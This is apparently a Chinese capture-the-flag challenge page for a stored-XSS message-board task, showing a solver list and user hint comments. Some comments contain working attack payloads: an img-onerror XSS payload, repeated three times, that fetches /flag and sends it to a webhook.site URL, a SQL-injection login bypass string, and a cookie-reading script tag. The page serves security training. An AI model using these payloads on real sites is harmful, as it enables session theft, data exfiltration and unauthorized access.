留言板WEB 未解决
分数:
10
金币:
3
题目作者:
harry
一 血:
꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励:
5金币
解 决:
3533
提 示:
题目无需登录后台！需要xss平台接收flag
描 述:
http协议需要http协议的xss平台
评分(20)
解题动态
17199913044 攻破了该题 21小时前
xiaoqixy1 攻破了该题 1天前
sabgdfiush 攻破了该题 1天前
fjakjasdhfa 攻破了该题 2天前
sadsadgd 攻破了该题 3天前
betrw 攻破了该题 4天前
LakeFlasher 攻破了该题 7天前
w12345 攻破了该题 8天前
山河 攻破了该题 9天前
小白修炼日常 攻破了该题 11天前
加州故事 攻破了该题 16天前
星宇Sec 攻破了该题 18天前
xyqt 攻破了该题 18天前
这个昵称已存在 攻破了该题 18天前
zzz122 攻破了该题 19天前
兄弟不要颓废 攻破了该题 21天前
赖皮蛇 攻破了该题 23天前
ItsAllOver 攻破了该题 23天前
1075220327 攻破了该题 23天前
评论
w12345 8天前
举报
进入admin.php文件通过登录将自己上传的xss代码进行回显，然后再上传<script>alert|document.cookie|</script>。就可以出flag了
兄弟不要颓废 20天前
举报
https://www.yuque.com/xiongdibietuifeile/vr6h2q/flap13mdc8f9s0ce#smnAi 欢迎各位大佬批评指正
厌弃. 1月前
举报
好像登录才能触发xss
小石 2月前
举报
进入admin.php后，刷新不会弹出对话框，自己进去调试界面看一下cookie即可。
Terrenc44 2月前
举报
不用xss，dns外带一下，一样可以的
追风的牛牛 2月前
举报
笑死了,他把db那个数据库路径删除了
song..22 4月前
举报
<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">
song..22 4月前
举报
<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">
song..22 4月前
举报
<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">
Gcysnd 5月前
举报
挺容易，挖到admin后台/admin.php用1' or '1' = '1' --万能用户名登录后发现存在html注入点，于是聊天室发送<script>alert(cookie)</scirpt>找到flag
xxsko 5月前
举报
万能用户名你可以?我用你这个也不行1' or '1' = '1' --万能用户名